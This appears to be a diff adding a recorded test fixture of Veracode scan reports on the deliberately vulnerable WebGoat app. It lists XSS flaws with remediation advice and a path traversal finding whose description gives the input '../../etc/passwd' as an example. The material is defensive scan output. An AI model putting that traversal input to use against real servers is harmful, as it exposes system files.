+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"98\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"76\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"45\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"127\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"77\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"44\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"100\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"78\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"48\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"50\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"78\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"48\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"264\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"79\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"46\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"68\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"80\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"50\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"129\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable thisPage.
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameternames,
+        and javax.servlet.servletrequest.getparameter. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"143\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"89\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n</staticflaws>\n</cwe>\n</category>\n</severity>\n<flaw-status
+        new=\"190\" reopen=\"0\" open=\"0\" fixed=\"0\" total=\"190\" not_mitigated=\"190\"
+        sev-1-change=\"0\" sev-2-change=\"14\" sev-3-change=\"31\" sev-4-change=\"22\"
+        sev-5-change=\"6\"/>\n</detailedreport>\n"
+    http_version: 
+  recorded_at: Tue, 27 Oct 2015 12:18:22 GMT
+- request:
+    method: get
+    uri: https://analysiscenter.veracode.com/api/3.0/detailedreport.do?build_id=44905
+    body:
+      encoding: US-ASCII
+      string: ''
+    headers:
+      Accept-Encoding:
+      - gzip;q=1.0,deflate;q=0.6,identity;q=0.3
+      Accept:
+      - "*/*"
+      User-Agent:
+      - Ruby
+  response:
+    status:
+      code: 200
+      message: OK
+    headers:
+      Cache-Control:
+      - no-store private must-revalidate
+      Expires:
+      - Thu, 01 Jan 1970 00:00:00 GMT
+      Pragma:
+      - ''
+      Content-Type:
+      - text/xml
+      Content-Length:
+      - '200073'
+      Date:
+      - Tue, 27 Oct 2015 12:18:26 GMT
+      Server:
+      - Apache
+    body:
+      encoding: UTF-8
+      string: "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<detailedreport xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"
+        xmlns=\"https://www.veracode.com/schema/reports/export/1.0\" xsi:schemaLocation=\"https://www.veracode.com/schema/reports/export/1.0
+        https://analysiscenter.veracode.com/resource/detailedreport.xsd\" report_format_version=\"1.5\"
+        app_name=\"WebGoat\" app_id=\"32338\" first_build_submitted_date=\"2012-02-29
+        16:17:16 UTC\" version=\"5.0\" build_id=\"44905\" submitter=\"Veracode\" platform=\"Java\"
+        assurance_level=\"5\" business_criticality=\"5\" generation_date=\"2015-10-27
+        12:18:26 UTC\" veracode_level=\"VL1\" total_flaws=\"190\" flaws_not_mitigated=\"190\"
+        teams=\"\" life_cycle_stage=\"External or Beta Testing\" planned_deployment_date=\"\"
+        last_update_time=\"2012-03-01 15:03:51 UTC\" is_latest_build=\"true\" policy_name=\"Demo
+        Policy\" policy_version=\"3\" policy_compliance_status=\"Did Not Pass\" policy_rules_status=\"Did
+        Not Pass\" grace_period_expired=\"true\" scan_overdue=\"true\" business_owner=\"\"
+        business_unit=\"Not Specified\" tags=\"\" legacy_scan_engine=\"false\">\n<static-analysis
+        rating=\"D\" score=\"69\" submitted_date=\"2012-02-29 16:16:57 UTC\" published_date=\"2012-03-01
+        14:26:18 UTC\" next_scan_due=\"2012-04-01 13:26:18 UTC\" analysis_size_bytes=\"3734905\">\n<modules>\n<module
+        name=\"WebGoat-5.0-with-jsp.war\" compiler=\"JAVAC_6\" os=\"Java J2SE 6\"
+        architecture=\"JVM\" loc=\"142966\" score=\"69\" numflawssev0=\"117\" numflawssev1=\"0\"
+        numflawssev2=\"14\" numflawssev3=\"19\" numflawssev4=\"21\" numflawssev5=\"2\"/>\n</modules>\n</static-analysis>\n<dynamic-analysis
+        rating=\"D\" score=\"89\" submitted_date=\"2012-03-01 14:58:22 UTC\" published_date=\"2012-03-01
+        15:03:50 UTC\" dynamic_scan_type=\"ds\" scan_exit_status_id=\"0\" scan_exit_status_desc=\"N/A\">\n<modules>\n<module
+        name=\"dynamic_analysis\" compiler=\"Unknown\" os=\"\" architecture=\"\" loc=\"0\"
+        score=\"89\" numflawssev0=\"0\" numflawssev1=\"0\" numflawssev2=\"0\" numflawssev3=\"10\"
+        numflawssev4=\"1\" numflawssev5=\"1\" target_url=\"http://10.10.31.202:8080/webgoat\"
+        domain=\"\"/>\n</modules>\n</dynamic-analysis>\n<manual-analysis rating=\"D\"
+        score=\"81\" submitted_date=\"2012-03-01 14:59:07 UTC\" published_date=\"2012-03-01
+        14:59:14 UTC\" next_scan_due=\"2013-03-01 14:59:14 UTC\">\n<cia_adjustment>0</cia_adjustment>\n<modules>\n<module
+        name=\"manual_analysis\" compiler=\"Unknown\" os=\"\" architecture=\"\" loc=\"0\"
+        score=\"81\" numflawssev0=\"0\" numflawssev1=\"0\" numflawssev2=\"0\" numflawssev3=\"2\"
+        numflawssev4=\"0\" numflawssev5=\"3\"/>\n</modules>\n</manual-analysis>\n<severity
+        level=\"5\">\n<category categoryid=\"1\" categoryname=\"Directory Traversal\"
+        pcirelated=\"false\">\n<desc>\n<para text=\"Allowing user input to control
+        paths used in filesystem operations may enable an attacker to access or modify
+        otherwise protected system resources that would normally be inaccessible to
+        end users.  In some cases, the user-provided input may be passed directly
+        to the filesystem operation, or it may be concatenated to one or more fixed
+        strings to construct a fully-qualified path.\"/>\n<para text=\"When an application
+        improperly cleanses special character sequences in user-supplied filenames,
+        a path traversal (or directory traversal) vulnerability may occur.  For example,
+        an attacker could specify a filename such as &quot;../../etc/passwd&quot;,
+        which resolves to a file outside of the intended directory that the attacker
+        would not normally be authorized to view.\"/>\n</desc>\n<recommendations>\n<para
+        text=\"Assume all user-supplied input is malicious.  Validate all user-supplied
+        input to ensure that it conforms to the expected format, using centralized
+        data validation routines when possible.  When using black lists, be sure that
+        the sanitizing routine performs a sufficient number of iterations to remove
+        all instances of disallowed characters and ensure that the end result is not
+        dangerous.\"/>\n</recommendations>\n<cwe cweid=\"22\" cwename=\"Improper Limitation
+        of a Pathname to a Restricted Directory ('Path Traversal')\" pcirelated=\"false\"
+        owasp=\"932\" sans=\"865\" certc=\"743\" certcpp=\"877\">\n<description>\n<text
+        text=\"The software, when constructing file or directory names from input,
+        does not properly sanitize special character sequences that resolve to a file
+        or directory name that is outside of the intended directory or directories.\"/>\n</description>\n<manualflaws>\n<flaw
+        severity=\"5\" categoryname=\"Improper Limitation of a Pathname to a Restricted
+        Directory ('Path Traversal')\" count=\"1\" issueid=\"272\" module=\"manual_analysis\"
+        type=\"\" description=\"The software, when constructing file or directory
+        names from input, does not properly sanitize special character sequences that
+        resolve to a file or directory name that is outside of the intended directory
+        or directories.\" note=\"\" cweid=\"22\" remediationeffort=\"2\" exploitLevel=\"2\"
+        categoryid=\"1\" pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33
+        UTC\" remediation_status=\"New\" cia_impact=\"ppn\" grace_period_expires=\"2012-03-01
+        14:59:14 UTC\" affects_policy_compliance=\"true\" mitigation_status=\"none\"
+        mitigation_status_desc=\"Not Mitigated\" location=\"http://targethost/WebGoat/attack?Screen=306871788&amp;menu=200\"
+        cvss=\"9\" capecid=\"6\" exploitdifficulty=\"1\" inputvector=\"File\">\n<exploit_desc>An
+        attacker can use this to retrieve the contents of arbitrary files on the server.
+        This leads to a full compromise of the application running within the context
+        of the server.</exploit_desc>\n<severity_desc>An attacker can retrieve server
+        state information that allows a compromise of the security boundaries of the
+        application.</severity_desc>\n<remediation_desc>When the set of acceptable
+        objects, such as filenames or URLs, is limited or known, create a mapping
+        from a set of fixed input values (such as numeric IDs) to the actual filenames
+        or URLs, and reject all other inputs.</remediation_desc>\n<appendix>\n<description>undefined</description>\n<screenshot
+        format=\"PNG\">\n<data>iVBORw0KGgoAAAANSUhEUgAAAk4AAAGwCAYAAABfKeoBAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAFnqSURBVHhe7Z0Bkuw2jkT/OX3XOdus2x6t+WkCmaBIlaR6G+HYcQsEgQeIyGJ1z/z6L/8HAQhAAAIQgAAEIGAR+GVZYQQBCEAAAhCAAAQg8F+EE00AAQhAAAIQgAAETAIIJxMUZhCAAAQgAAEIQADhRA9AAAIQgAAEIAABkwDCyQSFGQQgAAEIQAACEEA40QMQgAAEIAABCEDAJIBwMkFhBgEIQAACEIAABBBO9AAEIAABCEAAAhAwCSCcTFCYQQACEIAABCAAAYQTPQABCEAAAhCAAARMAggnExRmEIAABCAAAQhAAOFED0AAAhCAAAQgAAGTAMLJBIUZBCAAAQhAAAIQQDjRAxCAAAQgAAEIQMAkgHAyQWEGAQhAAAIQgAAEEE70AAQgAAEIQAACEDAJIJxMUJhBAAIQgAAEIAABhBM9AAEIQAACEIAABEwCCCcTFGYQgAAEIAABCEAA4UQPQAACEIAABCAAAZMAwskEhRkEIAABCEAAAhBAONEDEIAABCAAAQhAwCSAcDJBYQYBCEAAAhCAAAQQTvQABCAAAQhAAAIQMAkgnExQmEEAAhCAAAQgAAGEEz0AAQhAAAIQgAAETAIIJxMUZhCAAAQgAAEIQGC5cPrjjz/+yz8woAfoAXqAHqAH6IFdPfCf//znYwpuuXD6SYZ/YEAP0AP0AD1AD9ADO3vgU8ppuXD6VCLsCwEIQAACEIAABHYTQDjtJox/CEAAAhCAAAReQwDh9JpSkggEIAABCEAAArsJIJx2E8Y/BCAAAQhAAAKvIYBwek0pSQQCEIAABCAAgd0EEE67CeMfAhCAAAQgAIHXEEA4vaaUJAIBCEAAAhCAwG4CHxFOv36t23alrxb2j9/Dd7vHqv1W+ekbZJfflY34hBhX5osvCEAAAhB4D4F1CqZhMhqMTxqWWayr8nD8ODYIp/e8jGQCAQhAAAL3J4BwGtRot3ByBZFrd6RQtf9Uez4lzk/xYV8IQAACELgvgY8Ip35wHl+LjX4+EgXRV2etn+jWK9qr3ae3yb6qy/xFAsHJP8rF3a/CYnRrdawffX2Z8Y9EnIrnvq8IkUEAAhCAAAT+IbBFOP24V2IjG7BVsVT11cc3Eg69YFAxjXw6X1m6YlH5z/xU8nXFnuLh1p+XEQIQgAAEIPAkArcQTtntSjv0j2Hs3HhUxNsZ4VS9Sclum/pbHiWGInGnRNbxfHR7Nbppau0jVn1tEE5POgaIFQIQgAAEXAK3EE5RsNEwvpNwckFHtz7RDY8jfka3PtHPqkLGFVDVGqnbrwpPbCEAAQhAAAJXE9gmnJxbCkccqFsXVxAoP+7tjbufk5uyUTGPbuBWCadM4LhxObFc3fDsBwEIQAACEDhD4OPCqRVYV/xO0OjrqR5g9feOstuZ7FaofVa54Wlts99JynLNvh4dxaJ8ZcKzr3F2y3ammVkLAQhAAAIQ2E1gq3DaHfwZ/1cP7137ZcLpDB/WQgACEIAABCDwbwJfJZyc26a3NMkuofYWPuQBAQhAAAIQmCHwVcJpBhBrIAABCEAAAhCAwEEA4UQvQAACEIAABCAAAZMAwskEhRkEIAABCEAAAhBAONEDEIAABCAAAQhAwCSAcDJBYQYBCEAAAhCAAASWC6c//vjjv/wDA3qAHqAH6AF6gB7Y1QP/+c9/Pqbglgunn2T4Bwb0AD1AD9AD9AA9sLMHPqWclgunTyXCvhCAAAQgAAEIQGA3AYTTbs